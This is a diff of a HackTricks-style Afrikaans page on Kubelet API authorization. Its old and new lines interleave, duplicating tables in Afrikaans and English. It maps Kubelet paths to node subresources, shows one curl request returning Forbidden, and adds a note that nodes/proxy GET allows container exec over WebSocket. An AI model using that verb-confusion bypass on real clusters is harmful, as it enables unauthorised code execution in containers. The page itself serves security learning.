||||
|
||||
- **Aksie**
|
||||
|
||||
| HTTP werkwoord | versoek werkwoord |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| POST | skep |
|
||||
| GET, HEAD | kry (vir individuele hulpbronne), lys (vir versamelings, insluitend volle objekinhoud), kyk (vir die monitering van 'n individuele hulpbron of versameling van hulpbronne) |
|
||||
| PUT | opdateer |
|
||||
| PATCH | patch |
|
||||
| DELETE | verwyder (vir individuele hulpbronne), verwyderversameling (vir versamelings) |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- Die **hulpbron** wat met die Kubelet API praat, is **altyd** **nodes** en **subresource** word **bepaal** uit die inkomende versoek se pad:
|
||||
- Die **resource** wat met die Kubelet api praat is **altyd** **nodes** en die **subresource** word **bepaal** vanaf die inkomende versoek se pad:
|
||||
|
||||
| Kubelet API | hulpbron | subresource |
|
||||
| ------------- | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _alle ander_ | nodes | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Byvoorbeeld, die volgende versoek het probeer om toegang te verkry tot die pods inligting van kubelet sonder toestemming:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` val in die standaard **proxy** subresource en word gemagtig deur die aanvanklike HTTP **GET** handdruk. ’n Principal met slegs `nodes/proxy` **GET** kan steeds containers exec as dit direk met `https://<node_ip>:10250` oor WebSockets verbind. Sien die [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) vir besonderhede.
|
||||
|
||||
Byvoorbeeld, die volgende versoek het probeer toegang verkry tot die pods-inligting van kubelet sonder toestemming:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Ons het 'n **Verbode** gekry, so die versoek het die **Authentikasie kontrole** geslaag. As nie, sou ons net 'n `Onbevoeg` boodskap gekry het.
|
||||
- Ons kan die **gebruikersnaam** sien (in hierdie geval van die token)
|
||||
- Kyk hoe die **hulpbron** **nodes** was en die **subhulpbron** **proxy** (wat sin maak met die vorige inligting)
|
||||
- Ons het 'n **Forbidden** gekry, dus het die request **passed the Authentication check**. As dit nie so was nie, sou ons net 'n `Unauthorised` boodskap gekry het.
|
||||
- Ons kan die **username** sien (in hierdie geval van die token)
|
||||
- Kontroleer hoe die **resource** **nodes** was en die **subresource** **proxy** (wat sin maak met die vorige inligting)
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user